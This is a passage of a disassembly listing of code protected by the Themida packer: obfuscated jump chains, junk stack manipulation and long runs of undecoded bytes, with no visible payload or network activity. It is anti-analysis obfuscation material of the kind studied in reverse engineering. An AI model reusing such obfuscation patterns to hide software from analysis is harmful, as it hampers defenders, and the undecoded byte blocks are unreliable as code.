		dd 0CD50E95Ch, 3C8BFFFFh, 4C48124h, 50000000h, 0FAE95854h
		dd 89FFFFDDh, 2B82404h,	1000000h, 24048BC7h, 0FFC074E9h
		dd 245C01FFh, 0C7E95704h, 0B2000023h, 0E9D7886Eh, 0FFFFFC43h
		dd 33E9E921h, 89000010h, 0C5B1E9E1h, 1CF6FFFFh,	0E6E99C24h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5081DB:				; CODE XREF: Themida_:00502259j
		add	eax, edi
		pop	edi
		jmp	loc_507F59
; ---------------------------------------------------------------------------
		db 5Dh
		dd 364BED81h, 0EC8305F7h, 24048904h, 2932E9h
		db 0
; ---------------------------------------------------------------------------


loc_5081F5:				; CODE XREF: Themida_:00504979j
		pop	edi
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_501C63
; ---------------------------------------------------------------------------
		dd 0EF2AB850h, 0C50144FDh, 3E3F6858h, 0DFE90000h, 29FFFFEEh
		dd 570959CAh, 24148B1Ch, 593768h, 24048900h, 0B951E089h
		dd 4, 0A1E9C801h, 0BDFFFFDAh, 4, 0FFB156E9h, 24048BFFh
		dd 4EC81h, 1C890000h, 2D72E924h, 48F0000h, 8B665C24h, 0B9682404h
		dd 8900000Dh, 0E789243Ch, 4BE56h, 0F7010000h, 0C6E9565Eh
		dd 28FFFFD8h, 0B75359C8h, 88516661h, 0DCA8E9FDh, 34FFFFFFh
		dd 8D7CE924h, 0E689FFFFh, 4C681h, 3BE90000h, 81000014h
		dd 4ECh, 15E3E900h, 58660000h, 5BF828h,	5B5304F8h, 52515251h
		dd 76B142B6h, 0FFE2D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5082B5:				; CODE XREF: Themida_:0050A8AFj
		mov	esi, ebp
		jmp	loc_509054
; ---------------------------------------------------------------------------
		dd 0F86107BDh, 0A907E95Eh, 0EF81FFFFh, 0BA70509h, 3C8BF889h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 89DFE953h, 0D6E9FFFFh
		dd 88FFFF6Dh, 0C05966EFh, 1BE902E7h, 8B000008h,	0F9E9243Ch
		dd 0C0FFFFE7h, 0EB8008E3h, 1E35E92Fh, 28F0000h,	0FF6DB0E9h
		dd 6FF780FFh, 805BFC28h, 63E9BDF4h, 55FFFFE5h, 3B78C5BDh
		dd 5DE82931h, 592434FFh, 2633E952h, 0F3800000h,	5BD988D2h
		dd 66D1B551h, 2828B252h, 505A66D5h, 0B353A2B4h,	0E9D3F6C0h
		dd 0FFFFAAF2h, 11685854h, 89000044h, 4BA2414h, 5000000h
		dd 2C9E03FFh, 0FF2DD001h, 8B2C9E03h, 89522414h,	0BD14E9E2h
		dd 0BF57FFFFh, 377D0576h, 555FF989h, 840F3FBDh,	6EDC14Dh
		dd 0C103EDC1h, 0C58103EDh, 28C45BC0h, 0FFFE2BE9h, 34FF5DFFh
		dd 0F567E924h, 0EE29FFFFh, 7604BF57h, 0EF816558h, 27627CC6h
		dd 454AC781h, 70E913A4h, 66FFFF97h, 8124048Bh, 4ECh, 24048900h
		dd 0E9555854h, 11D4h
; ---------------------------------------------------------------------------


loc_5083D0:				; CODE XREF: Themida_:00508609j
		add	ebp, 50D3D02h
		shl	ebp, 7
		jmp	loc_50372B
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C6h, 24343300h, 0E9243431h,	0FFFFA3F2h, 0F30E581h
		dd 0BB53531Fh, 0ECF5F8D2h, 0FFBFF8E9h, 242489FFh, 4240481h
		dd 5A000000h, 0FFB304E9h, 240489FFh, 2E5FE9h, 0A04EB900h
		dd 0D929C06Ah, 0FF7FFCE9h, 4EC81FFh, 54000000h,	0FF8616E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508431:				; CODE XREF: Themida_:00506CA7j
		or	edx, eax
		jmp	loc_50A949
; ---------------------------------------------------------------------------
		dd 0C781475Ah, 0FFFBE9DFh, 0FFCBF7E9h, 0B4BA52FFh, 8322E322h
		dd 0D2F701C2h, 0C105E2C1h, 0C28106E2h, 1915B004h, 835AD701h
		dd 3C8704C7h, 45E95C24h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50846B:				; CODE XREF: Themida_:00507710j
		pop	ecx
		jmp	loc_509F66
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 0E9000000h, 0FFFF79BBh, 3B5B6852h,	76E90000h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50848B:				; CODE XREF: Themida_:00503B1Cj
		or	ebx, 770D7C20h
		xor	ebx, 77E97FF4h
		push	ebx
		jmp	loc_5086F8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 0FFFFACDFh, 0E9243489h, 0FFFFC929h, 405E089h
		dd 83000000h, 48704E8h,	4EE95C24h, 8FFFFFFFh, 895C2404h
		dd 0B0B1240Ch, 0FFFD9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5084D1:				; CODE XREF: Themida_:00507024j
		mov	edx, 59D3E9Ch
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_506376
; ---------------------------------------------------------------------------
		dd 8B240C87h, 34FF2424h, 2434FF24h, 0FF86B2E9h,	0F665AFFh
		dd 686600B6h, 89663109h, 1DE92404h, 0FFFFFEAh, 57E9C8B6h
		dd 55FFFFCCh, 4B388CBDh, 65CD817Ah, 0E94FE533h,	0FFFF9D4Fh
		dd 31241433h, 0BCE92414h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508527:				; CODE XREF: Themida_:005091A2j
		shl	edx, 1
		push	5113h
		mov	[esp], ecx
		push	edi
		mov	edi, 71173500h
		mov	ecx, 34C04731h
		jmp	loc_503804
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 15h
		dd 5700001Bh, 0FFB21CE9h, 241C87FFh, 0FF73E9E9h, 0C8B66FFh
		dd 0B22CE924h, 525AFFFFh, 95EFE950h, 0E95CFFFFh, 0FFFF92ACh
		dd 4EC81h, 0C890000h, 200B924h,	0C8210000h, 0E92434FFh
		dd 0FFFFA2E7h, 0FC88D788h, 0FFA8BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50858D:				; CODE XREF: Themida_:005063B2j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_50697F
; ---------------------------------------------------------------------------
		dd 71E8E981h, 0C889EE24h, 2D312559h, 0C4E90447h, 1FFFFE0h
		dd 0DBC681D6h, 8146526Ch, 766C35C6h, 0C4B9E959h, 0E95AFFFFh
		dd 1718h, 244C015Dh, 0A30AE904h, 8B66FFFFh, 15682404h
		dd 89000014h, 0E789243Ch, 0FFDF7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5085E1:				; CODE XREF: Themida_:00501695j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	edi
		push	edx
		jmp	loc_504965
; ---------------------------------------------------------------------------


loc_5085F7:				; CODE XREF: Themida_:004FF8F3j
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 528C087Ah
		jmp	loc_5083D0
; ---------------------------------------------------------------------------
		dw 0DF29h
		dd 0F8BA525Bh, 55789D20h, 78B6BB53h, 0F3812B0Dh, 66A347D5h
		dd 1C8BDD89h, 4C48324h,	815DEA29h, 0DA2314CAh, 59F28175h
		dd 81249E37h, 354CFDEFh, 1259E97Dh, 34FF0000h, 2434FF24h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_505189
; ---------------------------------------------------------------------------


loc_508655:				; CODE XREF: Themida_:00508A88j
		push	ebp
		mov	ebp, 48110E9Fh
		mov	edx, 0B7EEF961h
		jmp	loc_5027C4
; ---------------------------------------------------------------------------


loc_508665:				; CODE XREF: Themida_:00507678j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_508E85
		push	edx
		mov	edx, esp
		jmp	loc_507FC5
; ---------------------------------------------------------------------------


loc_508689:				; CODE XREF: Themida_:00502AE4j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 26AB7C24h
		push	ebx
		mov	ebx, 7A0402FCh
		or	edi, ebx
		pop	ebx
		jmp	loc_507B1B
; ---------------------------------------------------------------------------
		db 2Ch,	32h, 66h
		dd 66A52C59h, 84B7E95Bh, 0C330FFFFh, 0E9C0B60Fh, 0FFFFD3E5h
; ---------------------------------------------------------------------------


loc_5086C8:				; CODE XREF: Themida_:00504337j
		shr	esi, 8
		or	esi, 11B1A3Dh
		xchg	ebx, esi
		jmp	loc_50622D
; ---------------------------------------------------------------------------
		dd 75BE564Fh, 922C708h,	24348BF7h, 4C481h, 0B9510000h
		dd 1436C13h, 0E949D9F7h, 1216h
; ---------------------------------------------------------------------------


loc_5086F8:				; CODE XREF: Themida_:00508498j
		pop	edi
		mov	ebx, [esp]
		push	ecx
		jmp	loc_501B85
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 0FF5002C0h, 0E9042474h, 0FFFFF3C9h, 56241C89h
		dd 0FF6B23E9h, 48B66FFh, 0E6895624h, 4C681h, 0B9510000h
		dd 4, 8BE9CE29h, 0BEFFFF6Ah, 8C02FB4h, 0F681D6F7h, 0EA8A81AFh
		dd 37E9F589h, 81000024h, 0A6517C3h, 886E952h, 0C2810000h
		dd 6C076EEh, 81241C8Bh,	4C4h, 6E62E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50876A:				; CODE XREF: Themida_:0050A8C9j
		mov	eax, [esp]
		jmp	loc_507CC4
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 89BA525Ah, 817B346Fh, 0CB907BC2h, 7B95184h, 0C117B36Eh
		dd 0C98107E1h, 1EC670B3h, 0FFB783E9h, 0E38953FFh, 0FBD8E951h
		dd 0FB01FFFFh, 5BDD895Fh, 5259CD31h, 73796DBAh,	0E9D60159h
		dd 0FFFFF0B6h, 24048B66h, 4EC81h, 3C890000h, 685F5424h
		dd 9DAh, 0BD242C89h, 0D750505h,	0E906EDC1h, 0FFFFD894h
		dd 65FAE981h, 0B9E933EBh, 66000027h, 0AE9F029h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5087EB:				; CODE XREF: Themida_:00505B82j
		push	eax
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		add	eax, 4
		push	edi
		jmp	loc_50527C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E6895624h, 81E78957h, 4C7h,	4EF8300h, 0E9243C87h, 0FFFFC954h
; ---------------------------------------------------------------------------


loc_50882C:				; CODE XREF: Themida_:00501C78j
		add	eax, esi
		pop	esi
		add	eax, 4FAE4094h
		sub	eax, esi
		sub	eax, 4FAE4094h
		push	edi
		mov	edi, 58D57C01h
		sub	eax, edi
		mov	edi, [esp]
		jmp	loc_502E5F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF6871h
; ---------------------------------------------------------------------------


loc_508850:				; CODE XREF: Themida_:00506FACj
		mov	edi, 798B2F39h
		xor	edi, 798B2F3Dh
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3413h
		mov	[esp], eax
		push	ecx
		push	55E4362Eh
		mov	ecx, [esp]
		jmp	loc_50419A
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 66AE35DFh, 0D6F7DEF7h, 0FF963BE9h, 1F1668FFh, 4890000h
		dd 8004B424h, 0C4FEC8C4h, 0CC80CCFEh, 0BDF480B4h, 0E2885251h
		dd 42E9D588h, 59FFFFF1h, 0A5BE9h, 0C4E95800h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5088BF:				; CODE XREF: Themida_:00507653j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	18DEh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 8000h
		push	5501h
		jmp	loc_50ADC2
; ---------------------------------------------------------------------------
		dw 8852h
		dd 5AD788EAh, 4EC8159h,	89000000h, 0B82404h, 1000000h
		dd 583888D0h, 0E92434FFh, 0FFFF9B81h, 4240483h,	4BB5359h
		dd 1000000h, 241C8BD9h,	0E904C483h, 0FFFF82C6h,	4C481h
		dd 0EB810000h, 79E00E6Ah, 0FF932CE9h, 240C89FFh, 0C181E189h
		dd 4, 8704E983h, 0E95C240Ch, 0FFFFF84Bh, 0BA241489h, 1AC06F93h
		dd 33FDBF57h, 0FA295FD6h, 0FFE166E9h, 4C281FFh,	81000000h
		dd 4EAh, 24148700h, 8924248Bh, 5F52243Ch, 8B5FFB89h, 0C4832414h
		dd 6A60E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50898E:				; CODE XREF: Themida_:00505008j
		push	ecx
		jmp	loc_509ACC
; ---------------------------------------------------------------------------
		dd 0FF6728E9h, 8AE95BFFh, 31FFFF8Eh, 0C33240Ch,	0F665C24h
		dd 9C2404B3h, 0FF6710E9h, 240C87FFh, 243C895Ch,	2309D4BFh
		dd 7EFC126h, 0D6F7F787h, 0FF8589E9h, 4C483FFh, 4C481h
		dd 0EC830000h, 242C8904h, 55EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5089DD:				; CODE XREF: Themida_:00504AFFj
		sub	edi, ecx
		pop	ecx
		add	edi, ebx
		add	edi, 7F9106ACh
		mov	ebx, [esp]
		jmp	loc_507FFC
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 5204C283h, 42474FFh, 0FFE056E9h, 81E389FFh
		dd 4C3h, 4C38100h, 87000000h, 0C35C241Ch, 0FF66A4E9h, 5FF801FFh
		dd 252B68h, 24148900h, 57BF71BAh, 0FFD0317Ch, 37E92434h
		dd 89FFFF88h, 0E954241Ch, 27Fh,	241C895Ch, 70D6BE56h, 0D6F76691h
		dd 43D1BB53h, 0CB816D82h, 116A7F2Ch, 6531CB81h,	0E94310B2h
		dd 0FFFFC640h
; ---------------------------------------------------------------------------


loc_508A64:				; CODE XREF: Themida_:0050729Bj
		add	esp, 4
		add	edx, 4
		push	0BDFh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	62FAh
		mov	[esp], edx
		jmp	loc_508655
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 57h
		dd 0FF93FDE9h, 0E9D2F7FFh, 0FFFFC1EBh
; ---------------------------------------------------------------------------


loc_508A9C:				; CODE XREF: Themida_:00507749j
		add	ebp, ebx
		jmp	loc_5022B3
; ---------------------------------------------------------------------------
		db 29h
		dd 24148BD3h, 104C483h,	675CE9DEh, 0AE9FFFFh
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508AB7:				; CODE XREF: Themida_:00509ED5j
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 5
		dec	eax
		sub	eax, 48E3747h
		jmp	loc_504EB4
; ---------------------------------------------------------------------------


loc_508ACE:				; CODE XREF: Themida_:00504C44j
		add	esp, 4
		push	edx
		jmp	loc_501ED7
; ---------------------------------------------------------------------------


loc_508AD7:				; CODE XREF: Themida_:004FFC3Ej
		pop	ebp
		add	esp, 4
		pop	esi
		add	ebx, edi
		pop	edi
		sub	ebx, 64B6307h
		add	ebx, eax
		add	ebx, 64B6307h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_500211
; ---------------------------------------------------------------------------
		dd 8247401h, 264BE95Eh,	0EF800000h, 0B1EF8001h,	3A2C0004h
		dd 3A04F828h, 535B002Ch, 511A68h, 240C8900h, 0E9D5B753h
		dd 0FFFF8086h, 24042966h, 0F7A8E99Ch, 0F828FFFFh, 8B663B04h
		dd 8953241Ch, 3FB951E3h, 0F7436611h, 81D1F7D1h,	0D5255AC9h
		dd 23C18150h, 81754128h, 385D9EE9h, 156CE9C9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_508B6A:				; CODE XREF: Themida_:00504282j
		xchg	esi, [esp]
		jmp	loc_509AE4
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 814712Ch, 84ACC181h,	0D7E9E7AAh, 53FFFF97h, 0FF67B7E9h
		dd 24048BFFh, 4C481h, 582C0000h, 274E9h, 59545100h, 4C181h
		dd 2BE90000h, 4D000021h, 0C105EDC1h, 0ED8107EDh, 2774472Dh
		dd 306FE581h, 0F5810B09h, 801006Ah, 2380EB81h, 0EB013881h
		dd 2380C381h, 0E95D3881h, 0FFFF7ABEh
; ---------------------------------------------------------------------------


loc_508BD4:				; CODE XREF: Themida_:00507F7Ej
		add	ecx, 3D5C3431h
		add	ecx, 71AF35BFh
		sub	ecx, 2F02CFE6h
		jmp	loc_509CB1
; ---------------------------------------------------------------------------
		db 81h
		dd 9F753FEBh, 0EB815F72h, 0C180E81h, 0B60F66h, 2B3A6866h
		dd 24048966h, 0FF64B8E9h, 240487FFh, 0E924248Bh, 0FFFF64ADh
; ---------------------------------------------------------------------------


loc_508C14:				; CODE XREF: Themida_:005042F9j
		add	esp, 4
		jmp	loc_500BE8
; ---------------------------------------------------------------------------
		dd 0B87FE95Fh, 0E829FFFFh, 2404875Dh, 0C82E9h, 0C7815B00h
		dd 14DD264Ah, 5134E781h, 0C7836296h, 0BE950FFh,	5BFFFFECh
		dd 241C8B66h, 81E78957h, 4C7h, 2C78100h, 0E9000000h, 0FFFF88FAh
		dd 8247401h, 0A3AE9h, 2434FF00h, 0E289525Dh, 4C281h, 9E90000h
		dd 0FFFF83h, 0E99C2404h, 0FFFF6441h, 0E92C77FFh, 0FFFF6439h
; ---------------------------------------------------------------------------


loc_508C88:				; CODE XREF: Themida_:00509C05j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_504369
; ---------------------------------------------------------------------------
		db 66h
		dd 4C97EB81h, 66FB2966h, 4C97C381h, 0FF74D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_508CA5:				; CODE XREF: Themida_:00506C17j
		pop	esp
		mov	[esp], ecx
		mov	ch, 7Bh
		xchg	ah, ch
		not	ah
		jmp	loc_5027A4
; ---------------------------------------------------------------------------
		dd 6D345A66h, 0CAE9C530h, 5BFFFFFEh, 8587E950h,	0B72CFFFFh
		dd 5308E0C0h, 0C78030B7h, 80CFFE94h, 8EE982F7h,	0BAFFFFCCh
		dd 10C5A14h, 98F2814Ah,	89182A56h, 0B8505AD7h, 43607987h
		dd 4758C709h, 8103E7C1h, 0E10860F7h, 0ADBCE94Eh, 34FFFFFFh
		dd 0A389E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508D0A:				; CODE XREF: Themida_:00506A42j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, edi
		xchg	eax, edi
		jmp	loc_500CB4
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4EF8300h, 5C243C87h, 0E9243489h, 0FFFFC97Eh
; ---------------------------------------------------------------------------


loc_508D34:				; CODE XREF: Themida_:00503AF6j
		xor	esi, 464A41BEh
		or	esi, 0C9A433Dh
		shr	esi, 8
		add	esi, 15C59A9Bh
		add	edx, esi
		pop	esi
		jmp	loc_507090
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0E9h
		dd 14F0A61h, 0E9B850CFh, 14F0A61h, 2CE958C7h, 8100000Ch
		dd 0A0972C6h, 37EE8165h, 0E961B127h, 19EBh
; ---------------------------------------------------------------------------


loc_508D78:				; CODE XREF: Themida_:00507551j
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3BA51D02h, 4A08EAC1h, 7514E281h, 0D2F7534Bh,	0A132F281h
		dd 0D629D0ADh, 0FFB38FE9h, 41CAB9FFh, 0C8012138h, 3AE95659h
		dd 81000008h, 4C2h, 23DEE900h, 3AB70000h, 5B66F800h, 86E9F828h
		dd 89FFFF6Ah, 0BECE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_508DDA:				; CODE XREF: Themida_:00503228j
		sub	ebp, edi
		jmp	loc_50ADA4
; ---------------------------------------------------------------------------
		db 0BAh, 8Fh, 24h
		dd 0C1420B97h, 0EAC104EAh, 0EAC14A04h, 0C6EA8108h, 81CBFBF4h
		dd 0C33042EBh, 81D30149h, 0C33042C3h, 24148B49h, 0FF7DD0E9h
		dd 4E800FFh, 240C8B58h,	8104C483h, 4ECh, 24148900h, 0DDE953B6h
		dd 66FFFF63h, 662414F7h, 677FE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_508E32:				; CODE XREF: Themida_:0050A22Ej
		neg	edi
		push	592h
		mov	[esp], eax
		mov	eax, 6D3B635Bh
		sub	edi, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5007D0
; ---------------------------------------------------------------------------
		dd 295BDD89h, 0C8295DE8h, 5637D605h, 240C8B4Ah,	0FFB382E9h
		dd 0E9555BFFh, 0FFFFB830h
; ---------------------------------------------------------------------------


loc_508E70:				; CODE XREF: Themida_:005017B1j
		sub	edx, 7854512Eh
		add	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4


loc_508E85:				; CODE XREF: Themida_:0050867Bj
		push	3A7Fh
		mov	[esp], ebx
		push	eax
		push	ebp
		jmp	loc_501771
; ---------------------------------------------------------------------------
		dd 8B66D828h, 8355241Ch, 248904ECh, 24048324h, 0C5815D04h
		dd 4, 0FFE6B2E9h, 2DD0F7FFh, 0CF988E9Fh, 0FFBF06E9h, 895058FFh
		dd 405E0h, 0BD550000h, 4, 0FF6DDBE9h, 0E95158FFh, 0FFFF6C15h
		dd 30E9E681h, 0EE811A0Bh, 751643A2h, 437EC681h,	0ACE95D15h
		dd 68FFFF77h, 6B6Bh, 52242C89h,	0FC193FBAh, 0E9DAF751h
		dd 0FFFFDC1Ch, 2414875Bh, 0FFAD94E9h, 0E0F681FFh, 89CF85CAh
		dd 0F6B95EF3h, 315E984Ch, 0FA77E9D9h, 24D3FFFFh, 66CE924h
		dd 67B80000h, 0E95E6443h, 0FFFF6266h, 1BE95854h, 54FFFFAFh
		dd 4C5815Dh, 52000000h,	0FF80FAE9h, 24248BFFh, 6CCE956h
		dd 1C8B0000h, 0E1895124h, 6E5DBD55h, 0F5813991h, 39916E59h
		dd 5F44E981h, 0E9011979h, 5F44C181h, 835D1979h,	0C8704C1h
		dd 0C8E924h, 0F2810000h, 6E5436EDh, 912E252Dh, 0E9D00152h
		dd 0FFFFF8F2h
; ---------------------------------------------------------------------------


loc_508F90:				; CODE XREF: Themida_:00509E5Bj
		push	esi
		jmp	loc_505F13
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFB03Eh, 8704C183h, 0E95C240Ch, 0FFFF72C4h
; ---------------------------------------------------------------------------


loc_508FA8:				; CODE XREF: Themida_:00506C6Fj
		mov	[esp], esi
		jmp	loc_502804
; ---------------------------------------------------------------------------
aQsb		db 'QB',0Ah,0
		align 2
		dw 0E959h
		dd 107Bh, 0B60F6664h, 24686602h, 90E3E926h, 0F389FFFFh
		dd 0B0E94B5Eh, 0FFFFFF9Ch, 0E9592434h, 0FFFFB944h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_501246
; ---------------------------------------------------------------------------
		dw 505Bh
		dd 42474FFh, 24048F58h,	94D1E95Ch, 489FFFFh, 0BE77E924h
		dd 0A6E9FFFFh, 1FFFF60h, 0EB815AD3h, 763859DDh,	96E9C231h
		dd 83FFFF60h, 82E904C4h, 81FFFF89h, 4C4h, 0E2895200h, 4A268h
		dd 6D35E900h, 248BFFFFh, 2C28124h, 0E9000000h, 305h
; ---------------------------------------------------------------------------


loc_509054:				; CODE XREF: Themida_:005082B7j
		pop	ebp
		and	eax, esi
		jmp	loc_501C7D
; ---------------------------------------------------------------------------
		dd 0DDBB5350h, 8965C70Bh, 0A680E9D8h, 0C0FEFFFFh, 0B753C0FEh
		dd 80CFFE9Fh, 0F828F3F7h, 0F6FF045Bh, 7E8C0D0h,	0D8F63004h
		dd 8904EC83h, 8CE9240Ch, 0FFFFFFEFh, 5D042474h,	0E924048Fh
		dd 0FFFF80C9h
; ---------------------------------------------------------------------------


loc_50909C:				; CODE XREF: Themida_:004FF317j
		push	ebp
		mov	ebp, 4E9F26D0h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_5006E0
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 8B243C87h, 7EE92424h, 8BFFFFCBh, 77FF2424h, 2434FF1Ch
		dd 81240C8Bh, 4C4h, 0E0FAE900h,	7568FFFFh, 8B22662Eh, 0C483243Ch
		dd 5C78104h, 8979417Ah,	0C1015FF9h, 10B0E9h, 48F5C00h
		dd 4895C24h, 5FC7E924h,	14F7FFFFh, 241C8B24h, 8104C483h
		dd 760FEDCBh, 0E9F38112h, 19EF62Fh, 241C8BD8h, 81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 8904EC83h, 4BB241Ch, 2D000000h
		dd 5C0509A2h, 0A205D801h, 5B5C0509h, 0FF727CE9h, 0E9C521FFh
		dd 0FFFFE535h
; ---------------------------------------------------------------------------


loc_509148:				; CODE XREF: Themida_:00500BEDj
		mov	[esp], ecx
		push	4752h
		jmp	loc_4FF3C4
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 80h
		dd 0E2C06BF2h, 0D3CA8003h, 80F4F280h, 0D030A5C2h, 8BC6885Ah
		dd 0C4812404h, 4, 0E9FFEE80h, 1815h
; ---------------------------------------------------------------------------


loc_50917C:				; CODE XREF: Themida_:00509AFBj
		neg	ebp
		shr	ebp, 8
		jmp	loc_502709
; ---------------------------------------------------------------------------


loc_509186:				; CODE XREF: Themida_:00500D07j
		add	ebp, 4F1E664Ah
		sub	ebp, 241336FCh
		neg	ebp
		jmp	loc_50079E
; ---------------------------------------------------------------------------


loc_509199:				; CODE XREF: Themida_:004FF874j
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_508527
; ---------------------------------------------------------------------------
		db 8Bh
		dd 91E92414h, 57FFFFB7h, 0C781E789h, 4,	8704EF83h, 248B243Ch
		dd 24248924h, 4240481h,	8B000000h, 0C481240Ch, 4, 78CFE953h
		dd 8B66FFFFh, 63682404h, 89000002h, 0F2E9243Ch,	81FFFFDAh
		dd 744B79F2h, 0E0BBE95Fh, 1CF6FFFFh, 0C089E924h, 0C15DFFFFh
		dd 0F18104E9h, 1DBF7DE5h, 0FF83D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50920D:				; CODE XREF: Themida_:00504B66j
		xor	ebx, 0DB9F3DF7h
		mov	edx, ebx
		pop	ebx
		push	ebx
		push	edx
		pop	ebx
		jmp	loc_507493
; ---------------------------------------------------------------------------
		dw 3489h
		dd 32BE6624h, 0E6816647h, 0E1E91D8Eh, 89FFFF9Bh, 8B542404h
		dd 0C4812404h, 4, 1F9BBA52h, 0E2C11920h, 0DAF74A04h, 64DBF57h
		dd 0FA296DFEh, 1E46E9h,	8666800h, 34890000h, 0E9E68924h
		dd 0FFFF82D1h
; ---------------------------------------------------------------------------


loc_509264:				; CODE XREF: Themida_:005023F7j
		add	ecx, 4
		jmp	loc_50988C
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFF208h
; ---------------------------------------------------------------------------


loc_509278:				; CODE XREF: Themida_:0050AF0Cj
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	26D5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_50704A
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 53h
		dd 4BBh, 5BDD0100h, 4BB53h, 0C5810000h,	67177929h, 0ED81DD01h
		dd 67177929h, 242C875Bh, 2434FF5Ch, 582434FFh, 0FF726EE9h
		dd 241429FFh, 57D2F75Ah, 0AD1DEABFh, 4F4F4F21h,	602EBD55h
		dd 0DDF760F2h, 4D03EDC1h, 90A1F581h, 0EF293CB1h, 0FFFA015Dh
		db 34h,	24h, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 66EB33D0h
		jmp	loc_509E60
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 6EE92424h, 66FFFFDBh, 52240C8Bh, 24148B54h
		dd 0E904C483h, 0FFFF5FD6h, 0B9E95966h, 5AFFFFE0h, 0E9E18951h
		dd 0FFFFA2A2h, 0FF5AD001h, 72E95930h, 59FFFFFBh, 0FF74D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509351:				; CODE XREF: Themida_:00503936j
		mov	ecx, esi
		pop	esi
		jmp	loc_504509
